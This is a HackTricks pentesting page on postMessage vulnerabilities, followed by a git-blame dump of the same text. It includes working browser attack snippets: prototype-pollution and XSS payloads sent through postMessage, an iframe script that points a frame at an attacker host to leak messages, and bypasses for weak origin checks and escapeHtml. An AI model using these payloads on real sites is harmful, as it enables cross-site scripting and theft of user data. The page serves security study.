hacktricks/pentesting-web/postmessage-vulnerabilities.md

# PostMessage Vulnerabilities

## PostMessage Vulnerabilities

<details>

<summary><strong>Support HackTricks and get benefits!</strong></summary>

- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!

- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)

- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)

- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/carlospolopm)**.**

- **Share your hacking tricks by submitting PRs to the** [**hacktricks github repo**](https://github.com/carlospolop/hacktricks)**.**

</details>

## Send **PostMessage**

**PostMessage** uses the following function to send a message:

```bash
targetWindow.postMessage(message, targetOrigin, [transfer]);

# postMessage to current page
window.postMessage('{"__proto__":{"isAdmin":True}}', '*')

# postMessage to an iframe with id "idframe"
<iframe id="idframe" src="http://victim.com/"></iframe>
document.getElementById('idframe').contentWindow.postMessage('{"__proto__":{"isAdmin":True}}', '*')

# postMessage to an iframe via onload
<iframe src="https://victim.com/" onload="this.contentWindow.postMessage('<script>print()</script>','*')">

# postMessage to popup
win = open('URL', 'hack', 'width=800,height=300,top=500');
win.postMessage('{"__proto__":{"isAdmin":True}}', '*')

# postMessage to an URL
window.postMessage('{"__proto__":{"isAdmin":True}}', 'https://company.com')

# postMessage to iframe inside popup
win = open('URL-with-iframe-inside', 'hack', 'width=800,height=300,top=500');
## loop until win.length == 1 (until the iframe is loaded)
win[0].postMessage('{"__proto__":{"isAdmin":True}}', '*')
```

Note that **targetOrigin** can be a '\*' or an URL like _https://company.com._\
In the **second scenario**, the **message can only be sent to that domain** (even if the origin of the window object is different).\
If the **wildcard** is used, **messages could be sent to any domain**, and will be sent to the origin of the Window object.

### Attacking iframe & wildcard in **targetOrigin**

As explained in [**this report**](https://blog.geekycat.in/google-vrp-hijacking-your-screenshots/) if you find a page that can be **iframed** (no `X-Frame-Header` protection) and that is **sending sensitive** message via **postMessage** using a **wildcard** (\*), you can **modify** the **origin** of the **iframe** and **leak** the **sensitive** message to a domain controlled by you.\
Note that if the page can be iframed but the **targetOrigin** is **set to a URL and not to a wildcard**, this **trick won't work**.

```markup
<html>
   <iframe src="https://docs.google.com/document/ID" />
   <script>
      setTimeout(exp, 6000); //Wait 6s
      
      //Try to change the origin of the iframe each 100ms
      function exp(){
          setInterval(function(){ 
              window.frames[0].frame[0][2].location="https://attacker.com/exploit.html";
          }, 100);
      }
   </script>
</html>
```

## addEventListener exploitation

**`addEventListener`** is the function used by JS to declare the function that is **expecting `postMessages`**.\
A code similar to the following one will be used:

```javascript
window.addEventListener("message", (event) => {
  if (event.origin !== "http://example.org:8080")
    return;

  // ...
}, false);
```

Note in this case how the **first thing** that the code is doing is **checking the origin**. This is terribly **important** mainly if the page is going to do **anything sensitive** with the received information (like changing a password). **If it doesn't check the origin, attackers can make victims send arbitrary data to this endpoints** and change the victims passwords (in this example).

### Enumeration

In order to **find event listeners** in the current page you can:

* **Search** the JS code for `window.addEventListener` and `$(window).on` (_JQuery version_)
* **Execute** in the developer tools console: `getEventListeners(window)`

![](<../.gitbook/assets/image (618) (1) (1).png>)

* **Go to** _Elements --> Event Listeners_ in the developer tools of the browser

![](<../.gitbook/assets/image (617).png>)

* Use a **browser extension** like [**https://github.com/benso-io/posta**](https://github.com/benso-io/posta) or [https://github.com/fransr/postMessage-tracker](https://github.com/fransr/postMessage-tracker). This browser extensions will **intercept all the messages** and show them to you.

### addEventListener check origin bypasses

* If **`indexOf()`** is used to **check** the **origin** of the PostMessage event, remember that it can be easily bypassed like in the following example: `("https://app-sj17.marketo.com").indexOf("https://app-sj17.ma")`\\
* If **`search()`** is used to **validate** the **origin** could be insecure. According to the docs of `String.prototype.search()`, the method **takes a regular repression** object instead of a string. If anything other than regexp is passed, it will get implicitly converted into a regexp.\
  In regular expression, **a dot (.) is treated as a wildcard**. An attacker can take advantage of it and **use** a **special domain** instead of the official one to bypass the validation, like in: `"https://www.safedomain.com".search("www.s.fedomain.com")`.\\
* If **`escapeHtml`** function is used, the function does not create a `new` escaped object, instead it **overwrites properties** of the existing object. This means that if we are able to create an object with a controlled property that does not respond to `hasOwnProperty` it will not be escaped.

```javascript
// Expected to fail:
result = u({
  message: "'\"<b>\\"
});
result.message // "&#39;&quot;&lt;b&gt;\"
// Bypassed:
result = u(new Error("'\"<b>\\"));
result.message; // "'"<b>\"
```

`File` object is perfect for this exploit as it has a read-only `name` property which is used by our template and will bypass `escapeHtml` function.

### X-Frame-Header bypass

In order to perform these attacks ideally you will be able to **put the victim web page** inside an `iframe`. But some headers like `X-Frame-Header` can **prevent** that **behaviour**.\
In those scenarios you can still use a less stealthy attack. You can open a new tab to the vulnerable web application and communicate with it:

```markup
<script>
var w=window.open("<url>")
setTimeout(function(){w.postMessage('text here','*');}, 2000);
</script>
```

### postMessage to Prototype Pollution and/or XSS

In scenarios where the data sent through `postMessage` is executed by JS, you can **iframe** the **page** and **exploit** the **prototype pollution/XSS** sending the exploit via `postMessage`.

A couple of **very good explained XSS though `postMessage`** can be found in [https://jlajara.gitlab.io/web/2020/07/17/Dom\_XSS\_PostMessage\_2.html](https://jlajara.gitlab.io/web/2020/07/17/Dom\_XSS\_PostMessage\_2.html)

Example of an exploit to abuse **Prototype Pollution and then XSS** through a `postMessage` to an `iframe`:

```markup
<html>
<body>
    <iframe id="idframe" src="http://127.0.0.1:21501/snippets/demo-3/embed"></iframe>
    <script>
        function get_code() {
            document.getElementById('iframe_victim').contentWindow.postMessage('{"__proto__":{"editedbymod":{"username":"<img src=x onerror=\\\"fetch(\'http://127.0.0.1:21501/api/invitecodes\', {credentials: \'same-origin\'}).then(response => response.json()).then(data => {alert(data[\'result\'][0][\'code\']);})\\\" />"}}}','*');
            document.getElementById('iframe_victim').contentWindow.postMessage(JSON.stringify("refresh"), '*');
        }

        setTimeout(get_code, 2000);
    </script>
</body>
</html>
```

For **more information**:

* Link to page about [**prototype pollution**](deserialization/nodejs-proto-prototype-pollution/)
* Link to page about [**XSS**](xss-cross-site-scripting/)
* Link to page about [**client side prototype pollution to XSS**](deserialization/nodejs-proto-prototype-pollution/#client-side-prototype-pollution-to-xss)

## References

* [https://jlajara.gitlab.io/web/2020/07/17/Dom\_XSS\_PostMessage\_2.html](https://jlajara.gitlab.io/web/2020/07/17/Dom\_XSS\_PostMessage\_2.html)
* [https://dev.to/karanbamal/how-to-spot-and-exploit-postmessage-vulnerablities-36cd](https://dev.to/karanbamal/how-to-spot-and-exploit-postmessage-vulnerablities-36cd)
* To practice: [https://github.com/yavolo/eventlistener-xss-recon](https://github.com/yavolo/eventlistener-xss-recon)

<details>

<summary><strong>Support HackTricks and get benefits!</strong></summary>

- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!

- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)

- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)

- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/carlospolopm)**.**

- **Share your hacking tricks by submitting PRs to the** [**hacktricks github repo**](https://github.com/carlospolop/hacktricks)**.**

</details>
GitBook: [#3143] No subject 2022-04-28 23:27:22 +00:00			`# PostMessage Vulnerabilities`
Ad hacktricks sponsoring 2022-04-28 16:01:33 +00:00
GitBook: [#3160] No subject 2022-05-01 13:25:53 +00:00			`## PostMessage Vulnerabilities`

Ad hacktricks sponsoring 2022-04-28 16:01:33 +00:00			`<details>`

			`<summary><strong>Support HackTricks and get benefits!</strong></summary>`

change support text 2022-09-09 11:28:04 +00:00			`- Do you work in a cybersecurity company? Do you want to see your company advertised in HackTricks? or do you want to have access to the latest version of the PEASS or download HackTricks in PDF? Check the [SUBSCRIPTION PLANS](https://github.com/sponsors/carlospolop)!`
Ad hacktricks sponsoring 2022-04-28 16:01:33 +00:00
change support text 2022-09-09 11:28:04 +00:00			`- Discover [The PEASS Family](https://opensea.io/collection/the-peass-family), our collection of exclusive [NFTs](https://opensea.io/collection/the-peass-family)`
Ad hacktricks sponsoring 2022-04-28 16:01:33 +00:00
change support text 2022-09-09 11:28:04 +00:00			`- Get the [official PEASS & HackTricks swag](https://peass.creator-spring.com)`
Ad hacktricks sponsoring 2022-04-28 16:01:33 +00:00
change support text 2022-09-09 11:28:04 +00:00			`- Join the [💬](https://emojipedia.org/speech-balloon/) [Discord group](https://discord.gg/hRep4RUj7f) or the [telegram group](https://t.me/peass) or follow me on Twitter [🐦](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[@carlospolopm](https://twitter.com/carlospolopm).`
Ad hacktricks sponsoring 2022-04-28 16:01:33 +00:00
change support text 2022-09-09 11:28:04 +00:00			`- Share your hacking tricks by submitting PRs to the [hacktricks github repo](https://github.com/carlospolop/hacktricks).`
Ad hacktricks sponsoring 2022-04-28 16:01:33 +00:00
			`</details>`

GitBook: [#3160] No subject 2022-05-01 13:25:53 +00:00			`## Send PostMessage`
GitBook: [master] 427 pages modified 2021-01-07 12:57:52 +00:00
			`PostMessage uses the following function to send a message:`

GitBook: [master] 2 pages modified 2021-10-04 21:42:12 +00:00			```bash
GitBook: [master] 427 pages modified 2021-01-07 12:57:52 +00:00			`targetWindow.postMessage(message, targetOrigin, [transfer]);`
GitBook: [master] 2 pages modified 2021-10-04 21:42:12 +00:00
			`# postMessage to current page`
			`window.postMessage('{"__proto__":{"isAdmin":True}}', '*')`

			`# postMessage to an iframe with id "idframe"`
GitBook: [master] one page and 2 assets modified 2021-10-04 22:18:58 +00:00			`<iframe id="idframe" src="http://victim.com/"></iframe>`
GitBook: [master] 2 pages modified 2021-10-04 21:42:12 +00:00			`document.getElementById('idframe').contentWindow.postMessage('{"__proto__":{"isAdmin":True}}', '*')`

GitBook: [#2843] upload send postmessage 2021-11-14 22:56:00 +00:00			`# postMessage to an iframe via onload`
			`<iframe src="https://victim.com/" onload="this.contentWindow.postMessage('<script>print()</script>','*')">`

GitBook: [#3346] No subject 2022-08-02 16:08:10 +00:00			`# postMessage to popup`
			`win = open('URL', 'hack', 'width=800,height=300,top=500');`
			`win.postMessage('{"__proto__":{"isAdmin":True}}', '*')`

GitBook: [master] 2 pages modified 2021-10-04 21:42:12 +00:00			`# postMessage to an URL`
			`window.postMessage('{"__proto__":{"isAdmin":True}}', 'https://company.com')`
GitBook: [#3346] No subject 2022-08-02 16:08:10 +00:00
			`# postMessage to iframe inside popup`
			`win = open('URL-with-iframe-inside', 'hack', 'width=800,height=300,top=500');`
			`## loop until win.length == 1 (until the iframe is loaded)`
			`win[0].postMessage('{"__proto__":{"isAdmin":True}}', '*')`
GitBook: [master] 427 pages modified 2021-01-07 12:57:52 +00:00			```

GitBook: [#2876] save 2021-11-30 16:46:07 +00:00			`Note that targetOrigin can be a '\*' or an URL like _https://company.com._\`
GitBook: [#3346] No subject 2022-08-02 16:08:10 +00:00			`In the second scenario, the message can only be sent to that domain (even if the origin of the window object is different).\`
GitBook: [#2876] save 2021-11-30 16:46:07 +00:00			`If the wildcard is used, messages could be sent to any domain, and will be sent to the origin of the Window object.`
GitBook: [master] 427 pages modified 2021-01-07 12:57:52 +00:00
GitBook: [#3346] No subject 2022-08-02 16:08:10 +00:00			`### Attacking iframe & wildcard in targetOrigin`
GitBook: [master] 427 pages modified 2021-01-07 12:57:52 +00:00
GitBook: [#2876] save 2021-11-30 16:46:07 +00:00			As explained in [this report](https://blog.geekycat.in/google-vrp-hijacking-your-screenshots/) if you find a page that can be iframed (no `X-Frame-Header` protection) and that is sending sensitive message via postMessage using a wildcard (\), you can modify* the origin of the iframe and leak the sensitive message to a domain controlled by you.\
			`Note that if the page can be iframed but the targetOrigin is set to a URL and not to a wildcard, this trick won't work.`
GitBook: [master] 427 pages modified 2021-01-07 12:57:52 +00:00
			```markup
			`<html>`
GitBook: [master] 2 pages modified 2021-10-04 21:42:12 +00:00			`<iframe src="https://docs.google.com/document/ID" />`
			`<script>`
			`setTimeout(exp, 6000); //Wait 6s`

			`//Try to change the origin of the iframe each 100ms`
			`function exp(){`
			`setInterval(function(){`
			`window.frames[0].frame[0][2].location="https://attacker.com/exploit.html";`
			`}, 100);`
			`}`
			`</script>`
GitBook: [master] 427 pages modified 2021-01-07 12:57:52 +00:00			`</html>`
			```

GitBook: [#3160] No subject 2022-05-01 13:25:53 +00:00			`## addEventListener exploitation`
GitBook: [master] 427 pages modified 2021-01-07 12:57:52 +00:00
GitBook: [#2777] gitbookissooooo slow I cannot write 2021-10-18 11:21:18 +00:00			`addEventListener` is the function used by JS to declare the function that is expecting `postMessages`.\
GitBook: [master] 2 pages modified 2021-10-04 21:42:12 +00:00			`A code similar to the following one will be used:`
GitBook: [master] 427 pages modified 2021-01-07 12:57:52 +00:00
			```javascript
			`window.addEventListener("message", (event) => {`
			`if (event.origin !== "http://example.org:8080")`
			`return;`

			`// ...`
			`}, false);`
			```

GitBook: [#2876] save 2021-11-30 16:46:07 +00:00			`Note in this case how the first thing that the code is doing is checking the origin. This is terribly important mainly if the page is going to do anything sensitive with the received information (like changing a password). If it doesn't check the origin, attackers can make victims send arbitrary data to this endpoints and change the victims passwords (in this example).`
GitBook: [master] 427 pages modified 2021-01-07 12:57:52 +00:00
GitBook: [#3160] No subject 2022-05-01 13:25:53 +00:00			`### Enumeration`
GitBook: [master] one page and 2 assets modified 2021-10-04 22:18:58 +00:00
GitBook: [#2876] save 2021-11-30 16:46:07 +00:00			`In order to find event listeners in the current page you can:`
GitBook: [master] one page and 2 assets modified 2021-10-04 22:18:58 +00:00
remove **** 2022-01-31 14:51:03 +00:00			* Search the JS code for `window.addEventListener` and `$(window).on` (_JQuery version_)
GitBook: [#2876] save 2021-11-30 16:46:07 +00:00			* Execute in the developer tools console: `getEventListeners(window)`
GitBook: [master] one page and 2 assets modified 2021-10-04 22:18:58 +00:00
GitBook: [#3471] No subject 2022-09-09 11:00:52 +00:00			`![](<../.gitbook/assets/image (618) (1) (1).png>)`
GitBook: [master] 3 pages modified 2020-12-17 13:13:28 +00:00
GitBook: [#2876] save 2021-11-30 16:46:07 +00:00			`* Go to _Elements --> Event Listeners_ in the developer tools of the browser`
GitBook: [master] one page and 2 assets modified 2021-10-04 22:36:22 +00:00
GitBook: [#2777] gitbookissooooo slow I cannot write 2021-10-18 11:21:18 +00:00			`![](<../.gitbook/assets/image (617).png>)`
GitBook: [master] one page and 2 assets modified 2021-10-04 22:36:22 +00:00
GitBook: [#2876] save 2021-11-30 16:46:07 +00:00			`* Use a browser extension like [https://github.com/benso-io/posta](https://github.com/benso-io/posta) or [https://github.com/fransr/postMessage-tracker](https://github.com/fransr/postMessage-tracker). This browser extensions will intercept all the messages and show them to you.`
GitBook: [master] one page and 2 assets modified 2021-10-04 22:18:58 +00:00
GitBook: [#3160] No subject 2022-05-01 13:25:53 +00:00			`### addEventListener check origin bypasses`
GitBook: [master] 3 pages modified 2020-12-17 13:13:28 +00:00
GitBook: [#3029] No subject 2022-02-22 11:36:42 +00:00			* If `indexOf()` is used to check the origin of the PostMessage event, remember that it can be easily bypassed like in the following example: `("https://app-sj17.marketo.com").indexOf("https://app-sj17.ma")`\\
GitBook: [#2876] save 2021-11-30 16:46:07 +00:00			* If `search()` is used to validate the origin could be insecure. According to the docs of `String.prototype.search()`, the method takes a regular repression object instead of a string. If anything other than regexp is passed, it will get implicitly converted into a regexp.\
GitBook: [#3029] No subject 2022-02-22 11:36:42 +00:00			In regular expression, a dot (.) is treated as a wildcard. An attacker can take advantage of it and use a special domain instead of the official one to bypass the validation, like in: `"https://www.safedomain.com".search("www.s.fedomain.com")`.\\
GitBook: [#2876] save 2021-11-30 16:46:07 +00:00			* If `escapeHtml` function is used, the function does not create a `new` escaped object, instead it overwrites properties of the existing object. This means that if we are able to create an object with a controlled property that does not respond to `hasOwnProperty` it will not be escaped.
GitBook: [master] 3 pages modified 2020-12-17 13:13:28 +00:00
			```javascript
			`// Expected to fail:`
			`result = u({`
			`message: "'\"<b>\\"`
			`});`
			`result.message // "'"<b>\"`
			`// Bypassed:`
			`result = u(new Error("'\"<b>\\"));`
			`result.message; // "'"<b>\"`
			```

			`File` object is perfect for this exploit as it has a read-only `name` property which is used by our template and will bypass `escapeHtml` function.

GitBook: [#3160] No subject 2022-05-01 13:25:53 +00:00			`### X-Frame-Header bypass`
GitBook: [master] one page and 2 assets modified 2021-10-04 22:36:22 +00:00
GitBook: [#2876] save 2021-11-30 16:46:07 +00:00			In order to perform these attacks ideally you will be able to put the victim web page inside an `iframe`. But some headers like `X-Frame-Header` can prevent that behaviour.\
GitBook: [master] one page and 2 assets modified 2021-10-04 22:36:22 +00:00			`In those scenarios you can still use a less stealthy attack. You can open a new tab to the vulnerable web application and communicate with it:`

			```markup
			`<script>`
			`var w=window.open("<url>")`
			`setTimeout(function(){w.postMessage('text here','*');}, 2000);`
			`</script>`
			```

GitBook: [#3160] No subject 2022-05-01 13:25:53 +00:00			`### postMessage to Prototype Pollution and/or XSS`
GitBook: [master] one page and 2 assets modified 2021-10-04 22:18:58 +00:00
GitBook: [#2876] save 2021-11-30 16:46:07 +00:00			In scenarios where the data sent through `postMessage` is executed by JS, you can iframe the page and exploit the prototype pollution/XSS sending the exploit via `postMessage`.
GitBook: [master] one page and 2 assets modified 2021-10-04 22:18:58 +00:00
GitBook: [#2797] pp 2021-10-22 10:16:40 +00:00			A couple of very good explained XSS though `postMessage` can be found in [https://jlajara.gitlab.io/web/2020/07/17/Dom\_XSS\_PostMessage\_2.html](https://jlajara.gitlab.io/web/2020/07/17/Dom\_XSS\_PostMessage\_2.html)
GitBook: [master] one page modified 2021-10-04 22:23:21 +00:00
GitBook: [#2876] save 2021-11-30 16:46:07 +00:00			Example of an exploit to abuse Prototype Pollution and then XSS through a `postMessage` to an `iframe`:
GitBook: [master] one page and 2 assets modified 2021-10-04 22:18:58 +00:00
			```markup
			`<html>`
			`<body>`
			`<iframe id="idframe" src="http://127.0.0.1:21501/snippets/demo-3/embed"></iframe>`
			`<script>`
			`function get_code() {`
			`document.getElementById('iframe_victim').contentWindow.postMessage('{"__proto__":{"editedbymod":{"username":"<img src=x onerror=\\\"fetch(\'http://127.0.0.1:21501/api/invitecodes\', {credentials: \'same-origin\'}).then(response => response.json()).then(data => {alert(data[\'result\'][0][\'code\']);})\\\" />"}}}','*');`
			`document.getElementById('iframe_victim').contentWindow.postMessage(JSON.stringify("refresh"), '*');`
			`}`

			`setTimeout(get_code, 2000);`
			`</script>`
			`</body>`
			`</html>`
			```

			`For more information:`
GitBook: [master] one page modified 2021-03-23 22:23:10 +00:00
GitBook: [#3029] No subject 2022-02-22 11:36:42 +00:00			`* Link to page about [prototype pollution](deserialization/nodejs-proto-prototype-pollution/)`
			`* Link to page about [XSS](xss-cross-site-scripting/)`
			`* Link to page about [client side prototype pollution to XSS](deserialization/nodejs-proto-prototype-pollution/#client-side-prototype-pollution-to-xss)`
GitBook: [master] one page modified 2021-03-23 22:23:10 +00:00
GitBook: [#3160] No subject 2022-05-01 13:25:53 +00:00			`## References`
GitBook: [master] one page modified 2021-03-23 22:23:10 +00:00
GitBook: [#2797] pp 2021-10-22 10:16:40 +00:00			`* [https://jlajara.gitlab.io/web/2020/07/17/Dom\_XSS\_PostMessage\_2.html](https://jlajara.gitlab.io/web/2020/07/17/Dom\_XSS\_PostMessage\_2.html)`
GitBook: [master] one page and 2 assets modified 2021-10-04 22:36:22 +00:00			`* [https://dev.to/karanbamal/how-to-spot-and-exploit-postmessage-vulnerablities-36cd](https://dev.to/karanbamal/how-to-spot-and-exploit-postmessage-vulnerablities-36cd)`
GitBook: [#3029] No subject 2022-02-22 11:36:42 +00:00			`* To practice: [https://github.com/yavolo/eventlistener-xss-recon](https://github.com/yavolo/eventlistener-xss-recon)`
Ad hacktricks sponsoring 2022-04-28 16:01:33 +00:00
			`<details>`

			`<summary><strong>Support HackTricks and get benefits!</strong></summary>`

change support text 2022-09-09 11:28:04 +00:00			`- Do you work in a cybersecurity company? Do you want to see your company advertised in HackTricks? or do you want to have access to the latest version of the PEASS or download HackTricks in PDF? Check the [SUBSCRIPTION PLANS](https://github.com/sponsors/carlospolop)!`
Ad hacktricks sponsoring 2022-04-28 16:01:33 +00:00
change support text 2022-09-09 11:28:04 +00:00			`- Discover [The PEASS Family](https://opensea.io/collection/the-peass-family), our collection of exclusive [NFTs](https://opensea.io/collection/the-peass-family)`
Ad hacktricks sponsoring 2022-04-28 16:01:33 +00:00
change support text 2022-09-09 11:28:04 +00:00			`- Get the [official PEASS & HackTricks swag](https://peass.creator-spring.com)`
Ad hacktricks sponsoring 2022-04-28 16:01:33 +00:00
change support text 2022-09-09 11:28:04 +00:00			`- Join the [💬](https://emojipedia.org/speech-balloon/) [Discord group](https://discord.gg/hRep4RUj7f) or the [telegram group](https://t.me/peass) or follow me on Twitter [🐦](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[@carlospolopm](https://twitter.com/carlospolopm).`
Ad hacktricks sponsoring 2022-04-28 16:01:33 +00:00
change support text 2022-09-09 11:28:04 +00:00			`- Share your hacking tricks by submitting PRs to the [hacktricks github repo](https://github.com/carlospolop/hacktricks).`
Ad hacktricks sponsoring 2022-04-28 16:01:33 +00:00
			`</details>`